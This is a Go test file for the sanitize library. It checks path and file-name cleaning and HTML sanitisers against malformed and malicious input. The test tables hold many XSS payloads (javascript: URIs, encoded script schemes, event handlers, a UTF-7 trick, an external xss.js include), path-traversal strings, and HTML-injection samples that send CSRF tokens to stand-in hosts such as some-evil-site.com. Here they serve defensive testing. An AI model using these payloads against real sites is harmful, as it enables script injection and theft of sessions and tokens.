youtubebeat/vendor/github.com/kennygrant/sanitize/sanitize_test.go

236 lines
12 KiB
Go

// Utility functions for working with text
package sanitize
import (
"testing"
)
var Format = "\ninput: %q\nexpected: %q\noutput: %q"
type Test struct {
input string
expected string
}
// NB the treatment of accents - they are removed and replaced with ascii transliterations
var urls = []Test{
{"ReAd ME.md", `read-me.md`},
{"E88E08A7-279C-4CC1-8B90-86DE0D7044_3C.html", `e88e08a7-279c-4cc1-8b90-86de0d7044-3c.html`},
{"/user/test/I am a long url's_-?ASDF@£$%£%^testé.html", `/user/test/i-am-a-long-urls-asdfteste.html`},
{"/../../4-icon.jpg", `/4-icon.jpg`},
{"/Images_dir/../4-icon.jpg", `/images-dir/4-icon.jpg`},
{"../4 icon.*", `/4-icon.`},
{"Spac ey/Nôm/test før url", `spac-ey/nom/test-foer-url`},
{"../*", `/`},
}
func TestPath(t *testing.T) {
for _, test := range urls {
output := Path(test.input)
if output != test.expected {
t.Fatalf(Format, test.input, test.expected, output)
}
}
}
func BenchmarkPath(b *testing.B) {
for i := 0; i < b.N; i++ {
for _, test := range urls {
output := Path(test.input)
if output != test.expected {
b.Fatalf(Format, test.input, test.expected, output)
}
}
}
}
var fileNames = []Test{
{"ReAd ME.md", `read-me.md`},
{"/var/etc/jobs/go/go/src/pkg/foo/bar.go", `bar.go`},
{"I am a long url's_-?ASDF@£$%£%^é.html", `i-am-a-long-urls-asdfe.html`},
{"/../../4-icon.jpg", `4-icon.jpg`},
{"/Images/../4-icon.jpg", `4-icon.jpg`},
{"../4 icon.jpg", `4-icon.jpg`},
{"../4 icon-testé *8%^\"'\".jpg ", `4-icon-teste-8.jpg`},
{"Überfluß an Döner macht schöner.JPEG", `ueberfluss-an-doener-macht-schoener.jpeg`},
{"Ä-_-Ü_:()_Ö-_-ä-_-ü-_-ö-_ß.webm", `ae-ue-oe-ae-ue-oe-ss.webm`},
}
func TestName(t *testing.T) {
for _, test := range fileNames {
output := Name(test.input)
if output != test.expected {
t.Fatalf(Format, test.input, test.expected, output)
}
}
}
func BenchmarkName(b *testing.B) {
for i := 0; i < b.N; i++ {
for _, test := range fileNames {
output := Name(test.input)
if output != test.expected {
b.Fatalf(Format, test.input, test.expected, output)
}
}
}
}
var baseFileNames = []Test{
{"The power & the Glory jpg file. The end", `The-power-the-Glory-jpg-file-The-end`},
{"/../../4-iCoN.jpg", `-4-iCoN-jpg`},
{"And/Or", `And-Or`},
{"Sonic.EXE", `Sonic-EXE`},
{"012: #Fetch for Defaults", `012-Fetch-for-Defaults`},
}
func TestBaseName(t *testing.T) {
for _, test := range baseFileNames {
output := BaseName(test.input)
if output != test.expected {
t.Fatalf(Format, test.input, test.expected, output)
}
}
}
// Test with some malformed or malicious html
// NB because we remove all tokens after a < until the next >
// and do not attempt to parse, we should be safe from invalid html,
// but will sometimes completely empty the string if we have invalid input
// Note we sometimes use " in order to keep things on one line and use the ` character
var htmlTests = []Test{
{`&nbsp;`, " "},
{`&amp;#x000D;`, `&amp;#x000D;`},
{`<invalid attr="invalid"<,<p><p><p><p><p>`, ``},
{"<b><p>Bold </b> Not bold</p>\nAlso not bold.", "Bold Not bold\nAlso not bold."},
{`FOO&#x000D;ZOO`, "FOO\rZOO"},
{`<script><!--<script </s`, ``},
{`<a href="/" alt="Fab.com | Aqua Paper Map 22"" title="Fab.com | Aqua Paper Map 22" - fab.com">test</a>`, `test`},
{`<p</p>?> or <p id=0</p> or <<</>><ASDF><@$!@£M<<>>>>>>>>>>>>>><>***************aaaaaaaaaaaaaaaaaaaaaaaaaa>`, ` or ***************aaaaaaaaaaaaaaaaaaaaaaaaaa`},
{`<p>Some text</p><frameset src="testing.html"></frameset>`, "Some text\n"},
{`Something<br/>Some more`, "Something\nSome more"},
{`<a href="http://www.example.com"?>This is a 'test' of <b>bold</b> &amp; <i>italic</i></a> <br/> invalid markup.<//data>><alert><script CDATA[:Asdfjk2354115nkjafdgs]>. <div src=">">><><img src="">`, "This is a 'test' of bold & italic \n invalid markup.. \""},
{`<![CDATA[<sender>John Smith</sender>]]>`, `John Smith]]`},
{`<!-- <script src='blah.js' data-rel='fsd'> --> This is text`, ` -- This is text`},
{`<style>body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}</style>`, `body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}`},
{`&lt;iframe src="" attr=""&gt;>>>>>`, `&lt;iframe src="" attr=""&gt;`},
{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `alert("XSS")"`},
{`<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, ``},
{`<IMG SRC=JaVaScRiPt:alert('XSS')&gt;`, ``},
{`<IMG SRC="javascript:alert('XSS')" <test`, ``},
{`<a href="javascript:alert('XSS')" src="javascript:alert('XSS')" onclick="javascript:alert('XSS')"></a>`, ``},
{`&gt & test &lt`, `&gt; & test &lt;`},
{`<img></IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, ``},
{`&#8220;hello&#8221; it&#8217;s for &#8216;real&#8217;`, `"hello" it's for 'real'`},
{`<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>`, ``},
{`'';!--"<XSS>=&{()}`, `'';!--"=&amp;{()}`},
{"LINE 1<br />\nLINE 2", "LINE 1\nLINE 2"},
// Examples from https://githubengineering.com/githubs-post-csp-journey/
{`<img src='https://example.com/log_csrf?html=`, ``},
{`<img src='https://example.com/log_csrf?html=
<form action="https://example.com/account/public_keys/19023812091023">
...
<input type="hidden" name="csrf_token" value="some_csrf_token_value">
</form>`, `...`},
{`<img src='https://example.com?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
<p>secret</p>`, `secret
`},
{`<form action="https://some-evil-site.com"><button>Click</button><textarea name='
<!-- </textarea> --><!-- '" -->
<form action="/logout">
<input name="authenticity_token" type="hidden" value="secret1">
</form>`, `Click -- `},
}
func TestHTML(t *testing.T) {
for _, test := range htmlTests {
output := HTML(test.input)
if output != test.expected {
t.Fatalf(Format, test.input, test.expected, output)
}
}
}
var htmlTestsAllowing = []Test{
{`<IMG SRC="jav&#x0D;ascript:alert('XSS');">`, `<img>`},
{`<i>hello world</i href="javascript:alert('hello world')">`, `<i>hello world</i>`},
{`hello<br ><br / ><hr /><hr >rulers`, `hello<br><br><hr/><hr>rulers`},
{`<span class="testing" id="testid" name="testname" style="font-color:red;text-size:gigantic;"><p>Span</p></span>`, `<span class="testing" id="testid" name="testname"><p>Span</p></span>`},
{`<div class="divclass">Div</div><h4><h3>test</h4>invalid</h3><p>test</p>`, `<div class="divclass">Div</div><h4><h3>test</h4>invalid</h3><p>test</p>`},
{`<p>Some text</p><exotic><iframe>test</iframe><frameset src="testing.html"></frameset>`, `<p>Some text</p>`},
{`<b>hello world</b>`, `<b>hello world</b>`},
{`text<p>inside<p onclick='alert()'/>too`, `text<p>inside<p/>too`},
{`&amp;#x000D;`, `&amp;#x000D;`},
{`<invalid attr="invalid"<,<p><p><p><p><p>`, `<p><p><p><p>`},
{"<b><p>Bold </b> Not bold</p>\nAlso not bold.", "<b><p>Bold </b> Not bold</p>\nAlso not bold."},
{"`FOO&#x000D;ZOO", "`FOO&#13;ZOO"},
{`<script><!--<script </s`, ``},
{`<a href="/" alt="Fab.com | Aqua Paper Map 22"" title="Fab.com | Aqua Paper Map 22" - fab.com">test</a>`, `<a href="/" alt="Fab.com | Aqua Paper Map 22" title="Fab.com | Aqua Paper Map 22">test</a>`},
{"<p</p>?> or <p id=0</p> or <<</>><ASDF><@$!@£M<<>>>>>>>>>>>>>><>***************aaaaaaaaaaaaaaaaaaaaaaaaaa>", "?&gt; or <p id=\"0&lt;/p\"> or &lt;&lt;&gt;&lt;@$!@£M&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;&gt;***************aaaaaaaaaaaaaaaaaaaaaaaaaa&gt;"},
{`<p>Some text</p><exotic><iframe><frameset src="testing.html"></frameset>`, `<p>Some text</p>`},
{"Something<br/>Some more", `Something<br/>Some more`},
{`<a href="http://www.example.com"?>This is a 'test' of <b>bold</b> &amp; <i>italic</i></a> <br/> invalid markup.</data><alert><script CDATA[:Asdfjk2354115nkjafdgs]>. <div src=">escape;inside script tag"><img src="">`, `<a href="http://www.example.com">This is a &#39;test&#39; of <b>bold</b> &amp; <i>italic</i></a> <br/> invalid markup.`},
{"<sender ignore=me>John Smith</sender>", `John Smith`},
{"<!-- <script src='blah.js' data-rel='fsd'> --> This is text", ` This is text`},
{"<style>body{background-image:url(http://www.google.com/intl/en/images/logo.gif);}</style>", ``},
{`&lt;iframe src="" attr=""&gt;`, `&lt;iframe src=&#34;&#34; attr=&#34;&#34;&gt;`},
{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `<img>&#34;&gt;`},
{`<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, `<img>`},
{`<IMG SRC=JaVaScRiPt:alert('XSS')&gt;`, ``},
{`<IMG SRC="javascript:alert('XSS')">>> <test`, `<img>&gt;&gt; `},
{`&gt & test &lt`, `&gt; &amp; test &lt;`},
{`<img></IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>`, `<img></img>`},
{`<img src="data:text/javascript;alert('alert');">`, `<img>`},
{`<iframe src=http://... <`, ``},
{`<iframe src="data:CSS"><img><a><</a>;sdf<iframe>`, ``},
{`<img src=javascript:alert(document.cookie)>`, `<img>`},
{`<?php echo('hello world')>`, ``},
{`Hello <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>World`, `Hello <a class="XSS"></a>World`},
{`<a href="javascript:alert('XSS1')" onmouseover="alert('XSS2')">XSS<a>`, `<a>XSS<a>`},
{`<a href="http://www.google.com/"><img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/></a>`,
`<a href="http://www.google.com/"><img src="https://ssl.gstatic.com/accounts/ui/logo_2x.png"/></a>`},
{`<a href="javascript:alert(&#39;XSS1&#39;)" "document.write('<HTML> Tags and markup');">XSS<a>`, `<a> Tags and markup&#39;);&#34;&gt;XSS<a>`},
{`<a <script>document.write("UNTRUSTED INPUT: " + document.location.hash);<script/> >`, `<a>document.write(&#34;UNTRUSTED INPUT: &#34; + document.location.hash); &gt;`},
{`<a href="#anchor">foo</a>`, `<a href="#anchor">foo</a>`},
{`<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>`, `<img>`},
{`<IMG SRC="jav ascript:alert('XSS');">`, `<img>`},
{`<IMG SRC="jav&#x09;ascript:alert('XSS');">`, `<img>`},
{`<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`, ` +ADw-SCRIPT+AD4-alert(&#39;XSS&#39;);+ADw-/SCRIPT+AD4-`},
{`<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>`, `PT SRC=&#34;http://ha.ckers.org/xss.js&#34;&gt;`},
{`<a href="javascript:alert('XSS')" src="javascript:alert('XSS')" onclick="javascript:alert('XSS')"></a>`, `<a></a>`},
{`'';!--"<XSS>=&{()}`, `&#39;&#39;;!--&#34;=&amp;{()}`},
{`<IMG SRC=javascript:alert('XSS')`, ``},
{`<IMG """><SCRIPT>alert("XSS")</SCRIPT>">`, `<img>&#34;&gt;`},
{`<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>`, `<img>`},
{`<a href="mailto:cool@test.com?subject=cooool">cool guy</a>`, `<a href="mailto:cool@test.com?subject=cooool">cool guy</a>`},
}
func TestHTMLAllowed(t *testing.T) {
for _, test := range htmlTestsAllowing {
output, err := HTMLAllowing(test.input)
if err != nil {
t.Fatalf(Format, test.input, test.expected, output, err)
}
if output != test.expected {
t.Fatalf(Format, test.input, test.expected, output)
}
}
}
func BenchmarkHTMLAllowed(b *testing.B) {
for i := 0; i < b.N; i++ {
for _, test := range htmlTestsAllowing {
output, err := HTMLAllowing(test.input)
if err != nil {
b.Fatalf(Format, test.input, test.expected, output, err)
}
if output != test.expected {
b.Fatalf(Format, test.input, test.expected, output)
}
}
}
}